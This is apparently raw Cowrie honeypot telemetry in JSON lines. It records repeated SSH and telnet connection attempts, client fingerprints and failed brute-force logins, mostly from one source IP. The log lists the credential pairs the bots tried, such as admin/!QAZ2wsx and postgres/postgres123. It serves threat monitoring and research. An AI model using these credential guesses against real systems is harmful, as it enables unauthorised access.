{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:55.175970Z","src_ip":"45.156.87.147","session":"b26a0d267798","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36726,"dst_ip":"10.17.0.5","dst_port":22,"session":"a52e5c1a3062","protocol":"ssh","message":"New connection: 45.156.87.147:36726 (10.17.0.5:22) [session: a52e5c1a3062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:59.431120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:59.438141Z","src_ip":"45.156.87.147","session":"a52e5c1a3062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:59.520138Z","src_ip":"45.156.87.147","session":"a52e5c1a3062","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:59.770221Z","src_ip":"45.156.87.147","session":"a52e5c1a3062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.288161754608154,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:00.797223Z","src_ip":"128.199.8.54","session":"cbed78570372","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:00.853739Z","src_ip":"45.156.87.147","session":"a52e5c1a3062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:04.483258Z","src_ip":"8.219.200.1","session":"a624f56dc0e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36728,"dst_ip":"10.17.0.5","dst_port":22,"session":"200299a42176","protocol":"ssh","message":"New connection: 45.156.87.147:36728 (10.17.0.5:22) [session: 200299a42176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:05.108843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:05.112553Z","src_ip":"45.156.87.147","session":"200299a42176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:05.196896Z","src_ip":"45.156.87.147","session":"200299a42176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZ2wsx","message":"login attempt [admin/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:05.445145Z","src_ip":"45.156.87.147","session":"200299a42176","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":42754,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6dc3b892974","protocol":"telnet","message":"New connection: 102.37.220.188:42754 (159.203.135.109:23) [session: f6dc3b892974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:05.596469Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:06.531558Z","src_ip":"45.156.87.147","session":"200299a42176","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42450,"dst_ip":"10.17.0.5","dst_port":22,"session":"78ee1fd4d7b0","protocol":"ssh","message":"New connection: 45.156.87.147:42450 (10.17.0.5:22) [session: 78ee1fd4d7b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:10.769433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:10.773940Z","src_ip":"45.156.87.147","session":"78ee1fd4d7b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:10.856289Z","src_ip":"45.156.87.147","session":"78ee1fd4d7b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:11.108966Z","src_ip":"45.156.87.147","session":"78ee1fd4d7b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.19196057319641,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:11.646051Z","src_ip":"128.199.8.54","session":"59d748b67752","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:12.195600Z","src_ip":"45.156.87.147","session":"78ee1fd4d7b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42468,"dst_ip":"10.17.0.5","dst_port":22,"session":"95891827582e","protocol":"ssh","message":"New connection: 45.156.87.147:42468 (10.17.0.5:22) [session: 95891827582e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:16.577795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:16.581918Z","src_ip":"45.156.87.147","session":"95891827582e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:16.671555Z","src_ip":"45.156.87.147","session":"95891827582e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:17.104688Z","src_ip":"45.156.87.147","session":"95891827582e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:18.190687Z","src_ip":"45.156.87.147","session":"95891827582e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":41518,"dst_ip":"10.17.0.5","dst_port":22,"session":"d386734852cb","protocol":"ssh","message":"New connection: 8.219.200.1:41518 (10.17.0.5:22) [session: d386734852cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:21.803020Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45078,"dst_ip":"10.17.0.5","dst_port":22,"session":"b45082675c7f","protocol":"ssh","message":"New connection: 45.156.87.147:45078 (10.17.0.5:22) [session: b45082675c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:22.460542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:22.464952Z","src_ip":"45.156.87.147","session":"b45082675c7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:22.547870Z","src_ip":"45.156.87.147","session":"b45082675c7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"term2","password":"term2","message":"login attempt [term2/term2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:22.799236Z","src_ip":"45.156.87.147","session":"b45082675c7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:23.885661Z","src_ip":"45.156.87.147","session":"b45082675c7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45086,"dst_ip":"10.17.0.5","dst_port":22,"session":"75514f7a3346","protocol":"ssh","message":"New connection: 45.156.87.147:45086 (10.17.0.5:22) [session: 75514f7a3346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:28.201758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:28.208565Z","src_ip":"45.156.87.147","session":"75514f7a3346","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:28.291610Z","src_ip":"45.156.87.147","session":"75514f7a3346","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"E4IuG88G","message":"login attempt [admin/E4IuG88G] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:28.545424Z","src_ip":"45.156.87.147","session":"75514f7a3346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:29.629314Z","src_ip":"45.156.87.147","session":"75514f7a3346","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":37022,"dst_ip":"10.17.0.5","dst_port":22,"session":"57d204012522","protocol":"ssh","message":"New connection: 8.219.200.1:37022 (10.17.0.5:22) [session: 57d204012522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:31.793761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:31.797405Z","src_ip":"8.219.200.1","session":"57d204012522","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53096,"dst_ip":"10.17.0.5","dst_port":22,"session":"43b52e43e99d","protocol":"ssh","message":"New connection: 45.156.87.147:53096 (10.17.0.5:22) [session: 43b52e43e99d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:33.904476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:33.908714Z","src_ip":"45.156.87.147","session":"43b52e43e99d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:33.991747Z","src_ip":"45.156.87.147","session":"43b52e43e99d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"core","password":"P@ssw0rd","message":"login attempt [core/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:34.249498Z","src_ip":"45.156.87.147","session":"43b52e43e99d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38352,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1691f47a86d","protocol":"telnet","message":"New connection: 128.199.8.54:38352 (159.203.135.109:23) [session: f1691f47a86d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:34.558093Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:34.962107Z","src_ip":"8.219.200.1","session":"57d204012522","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:28:35.333927Z","src_ip":"45.156.87.147","session":"43b52e43e99d","protocol":"ssh"}
